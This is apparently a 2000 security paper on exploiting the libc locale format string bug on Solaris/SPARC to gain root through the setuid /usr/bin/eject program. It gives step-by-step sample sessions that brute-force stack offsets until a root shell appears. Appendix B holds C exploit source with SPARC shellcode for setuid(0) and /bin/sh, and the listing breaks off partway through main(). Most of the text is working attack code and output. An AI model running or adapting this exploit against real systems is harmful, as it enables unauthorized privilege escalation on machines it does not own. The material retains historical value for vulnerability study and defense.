locale_sol.txt

`  
  
----/ Exploiting the Libc Locale Subsystem Format String  
Vulnerability on Solaris/SPARC  
  
---/ 10/10/2000  
  
-/ Solar Eclipse <[email protected]>  
  
  
---/ I. Introduction  
  
This paper describes in detail the exploitation of the libc locale format strin  
g  
vulnerability on Solaris/SPARC. The full source code for the exploit is  
presented and some details of the implementation are discussed. The exploit cod  
e  
is based on the locale subsystem format bug exploit by Warning3 [3].  
  
Tim Newsham's Format String Attacks paper [1] is a very good description of the  
format string attack. You should also be familiar with buffer overflow attacks,  
discussed thoroughly in Smashing The Stack For Fun And Profit [2] by Aleph One.  
The abovementioned two papers are a must-read for every security professional.  
  
  
---/ II. The SPARC Architecure and Procedure Calls  
  
For those who are not familiar with the SPARC processor architecture, the  
Technical SPARC CPU Resources webpage [4] contains links to some very good  
resources and is definitely worth visiting. A very good introduction to the  
SPARC architecture and assembly language programming for Solaris can be found i  
n  
[5].  
  
An example for Solaris/SPARC shell code is given in Smashing the Stack for Fun  
and Profit. Solaris 2.6 provides a non-executable stack protection  
(noexec_user_stack in /etc/system) which can be easily defeated. For more  
information refer to Defeating Solaris/SPARC Non-Executable Stack Protection by  
John McDonald [6].  
  
Overwriting the return address of a function is the most commpnly used exploit  
technique. Therefore it is very important to understand how the SPARC  
architecture handles procedure calls.  
  
Information about the stack on Solaris is available in [6] and [7]. The  
Solaris/SPART Application Binary Interface specification [8] is another  
invaluable source of information and a must-read for everybody doing serious  
work on Solaris.  
  
  
---/ III. Exploiting the Vulnerability Step by Step  
  
The source code for the exploit is given in Appendix B. It has been successfull  
y  
compiled on Solaris 2.6 and 7 with the GNU C compiler.  
  
Most format string exploits require the attacker to specify a couple of system  
specific values, such as the return address location and the align of the shell  
code. Hourlong tracing of the vulnerable program execution with gdb is often th  
e  
only way to get the correct values for these parameters. The exploit presented  
in this paper provides assistance in guessing these parameters. This allows the  
attacker to fully automate the exploitation of the vulnerability through a Perl  
wrapper.  
  
The exploit can be run in 3 different modes. The 'dump' mode generates a stack  
dump, which allows the attacker to determine the values for the --num and the  
--align parameters. The 'shell' mode prints a string located at an  
user-specified location in memory, thus allowing the attacker to adjust the  
value of the --shellofs parameter. The --retlocofs parameter is the only  
parameter that can not be easily guessed, but it can be brute-forced by using  
the 'exploit' mode.  
  
Here is a sample session of running the exploit on Solaris 2.6. Detailed  
explanation of what's going on is provided.  
  
$ gcc -o solaris_libc solaris_libc.c   
$ ./solaris_libc   
Usage:  
./solaris_libc [command] [options]  
  
Commands:  
dump Dumps the stack  
shell Dumps the shell buffer  
exploit Exploits /usr/bin/eject  
  
Options:  
--num=96 Number of words to dump from the stack  
--align=2 Sets the alignment (0, 1, 2 or 3)  
--shellofs=-6 Offset of the shell buffer  
--retlocofs=-4 Retloc adjustment (must be divisible by 4)  
--retloc=0xeffffa3c Location of the return address  
  
This --retloc option was used for debugging purposes. By setting it to  
0xfffffff0 or a similar value the hacker can cause a Bus Error when the return  
address is overwritten. This can be used as a gdb breakpoint.   
  
---/ Step 1 : Determine the values of --num and --align  
  
First the attacker needs to get the correct values of the --num and the --align  
parameters. This can be accomplished by running the exploit with some nice  
round numbers as parameters and inspecting the resulting stack dump.  
  
$ ./solaris_libc dump --num=100 --align=2  
Calculated shell buffer address: 0xeffffbd1  
Warning: sh_addr + align must be word aligned. Adjust shellofs and alig  
n as neccessary  
Calculated retloc: 0xeffffa33  
Calculated shell code jump location: 0xeffffc13  
  
Stack dump mode, dumping 100 words  
num: 100 align: 2 shellofs: -6 retlocofs: -16   
retloc: 0xeffffa33  
  
/usr/bin/eject: illegal option -- x  
effffbb47efefeff0000000200ff0000ef727968effffbb400000000000000000000000  
0000000000000000000000000ef7e  
f4cc00000002effffb240001252000022e0c0000000000000000effffac000011178000  
00003effffb2400000004effffb30  
00000005effffb3c000000000000000000000002effffb24effffb3000022c000000000  
00000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000  
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd  
100000000000007d8efffffd10000  
07deefffffe700000003000100340000000400000020000000050000000500000009000  
1109c00000007ef7c000000000008  
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c  
9000007d3000000c9000007d90000  
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483  
d3a2e00414142424242effffa3342  
options: -f force eject  
-n show nicknames  
-d show default device  
-q query for media present  
-p do not call eject_popup  
  
The exploit puts the shell code in the environment of /usr/bin/eject before  
calling it. The 'dump' option specifies a format string that consists of num  
'%.8x' format specifies. This makes printf() dump num values from the stack,  
starting from the top of the stack. When /usr/bin/eject calls the printf  
the stack looks like this:  
  
top of the stack  
... <- N words  
process arguments  
process environment <- shellcode  
bottom of the stack  
  
We can see the beginning of the shellcode in the stack dump. It looks like this  
:  
(refer to the code in Appendix B to see how the shellcode is generated)  
  
4141 42424242 effffa33 42424242  
^ ^ ^ ^  
| | | |--- always 0x42424242  
| | |   
| | |--- retloc  
| |  
| |--- always 0x42424242  
|  
|--- alignment padding with 'A' (0x41) bytes  
  
The number of the 0x41 bytes is specified by the --align parameter. The --num  
parameter specifies how many words should be dumped from the stack. The goal i  
s  
to get --num equal to N, the number of the words betwwen the top of the stack  
and the first 0x42424242 value in the shellcode. The attacker can determine thi  
s  
number by counting the words in the stack dump or by making --num smaller and  
smaller until it reaches N.  
  
The align needs to be adjusted to make the 0x42424242 value be word aligned. I  
n  
this example --align should be set to 3.  
  
$ ./solaris_libc dump --num=99 --align=3  
Calculated shell buffer address: 0xeffffbd1  
Calculated retloc: 0xeffffa38  
Calculated shell code jump location: 0xeffffc14  
  
Stack dump mode, dumping 99 words  
num: 99 align: 3 shellofs: -6 retlocofs: -16 retloc:  
0xeffffa38  
  
/usr/bin/eject: illegal option -- x  
effffbb47efefeff0000000200ff0000ef727968effffbb400000000000000000000000  
0000000000000000000000000ef7e  
f4cc00000002effffb240001252000022e0c0000000000000000effffac000011178000  
00003effffb2400000004effffb30  
00000005effffb3c000000000000000000000002effffb24effffb3000022c000000000  
00000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000  
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd  
100000000000007d8efffffd10000  
07deefffffe700000003000100340000000400000020000000050000000500000009000  
1109c00000007ef7c000000000008  
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c  
9000007d3000000c9000007d90000  
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483  
d3a2e0041414142424242  
options: -f force eject  
-n show nicknames  
-d show default device  
-q query for media present  
-p do not call eject_popup  
  
The 0x42424242 value is properly aligned with --align=3. The --num parameter  
should be set to 98 to get the stack dump stop before it reaches this value. Th  
e  
attacker has two of the parameters set right and it's time for the next step.  
  
---/ Step 2 : Determine the value of --shellofs  
  
The exact address of the shell code in the process'es environment has to be  
determined. The exploit code tries to guess it, but it is usually off by some  
small value. That's why the attacker runs exploit with the 'shell' option to ge  
t  
a dump of the shell code from the process environment.  
  
$ ./solaris_libc shell --num=98 --align=3 --shellofs=0  
Calculated shell buffer address: 0xeffffbd7  
Warning: sh_addr + align must be word aligned. Adjust shellofs and alig  
n as neccessary  
Calculated retloc: 0xeffffa42  
Calculated shell code jump location: 0xeffffc1a  
  
shellbuf (length = 1024): AAAïÿû×ïÿúBBBBBïÿúD¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡?ÿ Ъ@` ` >Ð Is ba se :)DTÿÿÿ  
à4Ð#¿øÀ#¿üÀ* ;Ð Ð/bin/shÿAAAA  
  
Shell buffer dump mode, shell buffer address is 0xeffffbd7  
num: 98 align: 3 shellofs: 0 retlocofs: -16 retloc:  
0xeffffa42  
  
/usr/bin/eject: illegal option -- x  
effffbb47efefeff0000000200ff0000ef727968effffbb400000000000000000000000  
0000000000000000000000000ef7e  
f4cc00000002effffb240001252000022e0c0000000000000000effffac000011178000  
00003effffb2400000004effffb30  
00000005effffb3c000000000000000000000002effffb24effffb3000022c000000000  
00000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000  
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd  
100000000000007d8efffffd10000  
07deefffffe700000003000100340000000400000020000000050000000500000009000  
1109c00000007ef7c000000000008  
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c  
9000007d3000000c9000007d90000  
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483  
d3a2e00414141 Shell buffer: ×  
ïÿúBBBBBïÿúD¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡?ÿ Ъ@` ` >Ð Is ba s  
e :)DTÿÿÿ  
à4Ð#¿øÀ#¿üÀ* ;Ð Ð/bin/shÿAAAA  
options: -f force eject  
-n show nicknames  
-d show default device  
-q query for media present  
-p do not call eject_popup  
  
When run with the 'shell' option the exploit prints the shell code before  
/usr/bin/eject is executed. Then it appends " Shell buffer %s" to the end of  
the format string. This causes printf() to read an address from the stack and  
print out the string located at this address. If the correct values for --num  
and --align are used, this address will contain the first 0x42424242 word from  
the shell code. When the 'shell' option is used, the exploit overwrites  
0x42424242 with the guessed shell code address. The end result is that printf()  
prints out the shell code. Usually the guess for the shell code's address will  
be off by some small number and the attacker would use the --shellofs option to  
adjust it.  
  
$ ./solaris_libc shell --num=98 --align=3 --shellofs=-6  
Calculated shell buffer address: 0xeffffbd1  
Calculated retloc: 0xeffffa3c  
Calculated shell code jump location: 0xeffffc14  
  
shellbuf (length = 1024): AAAïÿûÑïÿú<BBBBïÿú>¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡?ÿ Ъ@` ` >Ð Is ba se :)DTÿÿÿ  
à4Ð#¿øÀ#¿üÀ* ;Ð Ð/bin/shÿAAAA  
  
Shell buffer dump mode, shell buffer address is 0xeffffbd1  
num: 98 align: 3 shellofs: -6 retlocofs: -16 retloc:  
0xeffffa3c  
  
/usr/bin/eject: illegal option -- x  
effffbb47efefeff0000000200ff0000ef727968effffbb400000000000000000000000  
0000000000000000000000000ef7e  
f4cc00000002effffb240001252000022e0c0000000000000000effffac000011178000  
00003effffb2400000004effffb30  
00000005effffb3c000000000000000000000002effffb24effffb3000022c000000000  
00000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000  
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd  
100000000000007d8efffffd10000  
07deefffffe700000003000100340000000400000020000000050000000500000009000  
1109c00000007ef7c000000000008  
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c  
9000007d3000000c9000007d90000  
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483  
d3a2e00414141 Shell buffer: A  
AAïÿûÑïÿú<BBBBïÿú>¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬  
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n  
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡  
n¬¡n¬¡n¬¡n¬¡?ÿ Ъ@` ` >Ð  
Is ba se :)DTÿÿÿ  
à4Ð#¿øÀ#¿üÀ* ;Ð Ð/bin/shÿAAAA  
options: -f force eject  
-n show nicknames  
-d show default device  
-q query for media present  
-p do not call eject_popup  
  
By setting --shellofs to -6 the correct address of the shell code is found. In  
this example it is 0xeffffbd1. Now it is time to use the 'exploit' option.  
  
---/ Step 3 : Determine the value of --retlocofs and get root  
  
When called with the 'exploit' option, the exploit appends two %hn format  
specifiers to the format string, causing an arbitrary memory location to be  
overwritten with a user-supplied value. For more information about this refer t  
o  
[1]. In this case the exploit will overwrite a return address on the stack with  
the shell code jump address (the shell code jump address is equal to the  
beginning of the shell code + 64). Guassing the correct return address locatio  
n  
is not easy. The exploit calculates the address of the first word in the stack  
dump. Then the value of --retlocofs is added to to this address and the  
resulting address is overwritten with the shell code jump address. Unfortunatel  
y  
it's impossible to determine the correct --retlocofs, but the attacker can run  
the exploit multiple times with different values until he gets a root prompt.  
  
$ ./solaris_libc exploit --num=98 --align=3 --shellofs=-6 --retlocofs=-  
16  
Calculated shell buffer address: 0xeffffbd1  
Calculated retloc: 0xeffffa3c  
Calculated shell code jump location: 0xeffffc14  
  
Exploit mode, jumping to 0xeffffc14  
num: 98 align: 3 shellofs: -6 retlocofs: -16 retloc:  
0xeffffa3c  
  
/usr/bin/eject: illegal option -- x  
effffbb47efefeff0000000200ff0000ef727968effffbb400000000000000000000000  
0000000000000000000000000ef7e  
f4cc00000002effffb240001252000022e0c0000000000000000effffac000011178000  
00003effffb2400000004effffb30  
00000005effffb3c000000000000000000000002effffb24effffb3000022c000000000  
00000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000  
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd  
100000000000007d8efffffd10000  
07deefffffe700000003000100340000000400000020000000050000000500000009000  
1109c00000007ef7c000000000008  
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c  
9000007d3000000c9000007d90000  
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483  
d3a2e00414141  
  
  
B  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
B  
options: -f force eject  
-n show nicknames  
-d show default device  
-q query for media present  
-p do not call eject_popup  
#  
  
After running the exploit a couple of times with different retlocofs values, th  
e  
attacker gets a root prompt.  
  
  
---/ Appendix A: References  
  
[1] Format String Attacks by Tim Newsham  
http://www.guardent.com/rd_whtpr.html  
  
[2] Smashing The Stack For Fun And Profit by Aleph One  
http://www.securityfocus.com/data/library/P49-14.txt  
  
[3] /usr/bin/eject locale subsystem exploit for Solaris 2.x by Warning3  
http://packetstormsecurity.org/0009-exploits/eject.locale.c  
  
[4] Technical SPARC CPU Resources by Bruce Ediger  
http://www.csn.net/~bediger/sparc.tech.links.html  
  
[5] An introduction to SPARC assembly by +Spath  
Assembly Programming Journal Issue 3  
http://asmjournal.freeservers.com/issues/apj_3.txt  
  
[6] Defeating Solaris/SPARC Non-Executable Stack Protection by John McDonald  
http://lists.insecure.org/bugtraq/1999/Mar/0004.html  
  
[7] Understanding stacks and registers in the Sparc architecture  
by Peter Magnusson  
http://www.sics.se/~psm/sparcstack.html  
  
[8] SPARC Application Binary Interface  
http://www.sparc.com/standards/psABI3rd.pdf  
  
[9] Locale Format String Vulnerabilities in Multiple UNIXes  
http://www.pulhas.org/xploitsdb/mUNIXes/format3.html  
  
  
---/ Appendix B: Exploit Code  
  
/* Exploit for the locale format string vulnerability in Solaris/SPARC  
Based on the exploit by Warning3 <[email protected]>  
  
For additional information see http://www.phreedom.org/solar/locale_sol.txt  
  
By Solar Eclipse <[email protected]>  
Assistant Editor,  
Phreedom Magazine  
http://www.phreedom.org  
  
10 Oct 2000  
*/  
  
#include <stdio.h>  
#include <sys/systeminfo.h>  
  
#define NUM 98 /* default number of words to dump from the stack *  
/  
#define ALIGN 3 /* default align (can be 0, 1, 2, 3) */  
#define RETLOCOFS -16 /* default offset of the return address location */  
#define SHELLOFS -6 /* default offset of the jump location from the beg  
inning of the shell buffer */  
#define RETLOC 0xfffffffd  
  
#define PATTERN 1024 /* format string buffer size */  
#define SHELL 1024 /* shell buffer size */  
  
#define NOP 0xac15a16e  
  
#define VULPROG "_usr_bin_eject"  
  
char shellcode[] = /* from scz's funny shellcode for SPARC */  
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */  
"\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09" /* dup2(1,2) */  
"\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"  
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"  
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"  
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"  
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"  
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";  
  
/* get current stack point address */  
  
long get_sp(void)  
{  
__asm__("mov %sp,%i0");  
}  
  
/* prints a long to a string */  
  
char* put_long(char* ptr, long value)  
{  
*ptr++ = (char) (value >> 24) & 0xff;  
*ptr++ = (char) (value >> 16) & 0xff;  
*ptr++ = (char) (value >> 8) & 0xff;  
*ptr++ = (char) (value >> 0) & 0xff;  
  
return ptr;  
}  
  
/* check if a long contains zero bytes */  
  
int contains_zero(long value)  
{  
return !((value & 0x00ffffff) &&  
(value & 0xff00ffff) &&  
(value & 0xffff00ff) &&  
(value & 0xffffff00));  
  
}  
  
/* create the shell buffer */  
  
void create_shellbuf(char* shellbuf, int align, int retloc)  
{  
char *ptr;  
int i;  
  
/* check align parameter */  
  
if (align < 0 || align > 3) {  
printf("Error: align is %d, it should be between 0 and 3\n", align);  
exit(1);  
}  
  
/* check retloc parameter */  
  
if (contains_zero(retloc) || contains_zero(retloc+2) ) {  
printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byte\n"  
, retloc, retloc+2);  
exit(1);  
}  
  
/* start constructing the shell buffer */  
  
ptr = shellbuf;  
  
for (i = 0; i < align; i++) {  
*ptr++ = 0x41; /* alignment padding */  
}  
  
ptr = put_long(ptr, 0x42424242); /* this is used by the %u format sp  
ecifier */  
  
ptr = put_long(ptr, retloc); /* put the address of the low order  
half-word of the return  
address on the stack */  
  
ptr = put_long(ptr, 0x42424242); /* this is used by the %u format sp  
ecifier */  
  
ptr = put_long(ptr, retloc + 2); /* put the address of the high orde  
r half-word of the  
return address on the stack */  
  
/* fill the shellbuf with NOP instructions but leave enough space for the s  
hell code */  
  
while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) {  
ptr = put_long(ptr, NOP);  
}  
  
memcpy(ptr, shellcode, strlen(shellcode)); /* copy the shellcode */  
ptr = ptr + strlen(shellcode);  
  
/* add additional padding to the shell buffer to make sure its size is alwa  
ys the same */  
  
while ((long)ptr < (long)shellbuf + SHELL - 1) {  
*ptr++ = 0x41;  
}  
  
*ptr = 0; /* null-terminate */  
  
/* at this point the shell buffer should be exactly SHELL bytes long, inclu  
ding the null-terminator */  
  
if (strlen(shellbuf) + 1 != SHELL) {  
printf("Error: The shell buffer is %d bytes long. It should be %d bytes  
. Something went terribly wrong...\n",  
strlen(shellbuf)+1, SHELL);  
exit(1);  
}  
  
return;  
}  
  
/* execute the vulnerable program using our custom environment */  
  
void execute_vulnprog(char* pattern, char* shellbuf)  
{  
char *env[3];  
FILE *fp;  
  
/* create message files */  
  
if (strlen(pattern) > 512) {  
printf("Warning: The pattern is %d bytes long. Only the first 512 bytes  
will be used.\n", strlen(pattern));  
}  
  
if ( !(fp = fopen("messages.po", "w+")) ) {  
perror("Error openning messages.po for writing.");  
exit(1);  
}  
  
fprintf(fp, "domain \"messages\"\n");  
fprintf(fp, "msgid \"usage: %%s [-fndq] [name | nickname]\\n\"\n");  
fprintf(fp, "msgstr \"%s\\n\"", pattern);  
fclose(fp);  
  
system("/usr/bin/msgfmt messages.po");  
system("cp messages.mo SUNW_OST_OSCMD");  
system("cp messages.mo SUNW_OST_OSLIB");  
  
/* prepere the environment for the VULNPROG process */  
  
env[0] = "NLSPATH=:.";  
env[1] = shellbuf; /* put the shellbuf in env */  
env[2] = NULL; /* end of env */  
  
/* execute the vulnerable program using our custom environment */  
  
execle(VULPROG, VULPROG, "-x", NULL, env);  
}  
  
  
/* print the program usage */  
  
void usage(char *prg)  
{  
printf("Usage:\n");  
printf(" %s [command] [options]\n\n", prg);  
printf("Commands:\n");  
printf(" dump Dumps the stack\n");  
printf(" shell Dumps the shell buffer\n");  
printf(" exploit Exploits /usr/bin/eject\n\n");  
printf("Options:\n");  
printf(" --num=96 Number of words to dump from the stack\n")  
;  
printf(" --align=2 Sets the alignment (0, 1, 2 or 3)\n");  
printf(" --shellofs=-6 Offset of the shell buffer\n");  
printf(" --retlocofs=-4 Retloc adjustment (must be divisible by 4)  
\n");  
printf(" --retloc=0xeffffa3c Location of the return address\n");  
  
exit(0);  
}  
  
/* main */  
  
main(int argc, char **argv)  
{  
char shellbuf[SHELL], pattern[PATTERN], platform[256];  
char *ptr;  
long sp_addr, sh_addr, jmp_addr, reth, retl;  
int num = NUM, align = ALIGN, shellofs = SHELLOFS, retlocofs = RETLOCOFS, r  
etloc = RETLOC;  
int i;  
  
int dump = 0, shell = 0, exploit = 0;  
  
/* read the exploit arguments */  
  
if (argc < 2) {  
usage(argv[0]);  
}  
  
if (!strncmp(argv[1], "dump", 4)) { dump = 1; }  
else if(!strncmp(argv[1], "shell", 5)) { shell = 1; }  
else if(!strncmp(argv[1], "exploit", 7)) { exploit = 1; }  
else {  
usage(argv[0]);  
}  
  
for (i = 2; i < argc; i++) {  
if ( (sscanf(argv[i], "--align=%d", &align) ||  
sscanf(argv[i], "--num=%d", &num) ||  
sscanf(argv[i], "--shellofs=%d", &shellofs) ||  
sscanf(argv[i], "--retlocofs=%d", &retlocofs) ||  
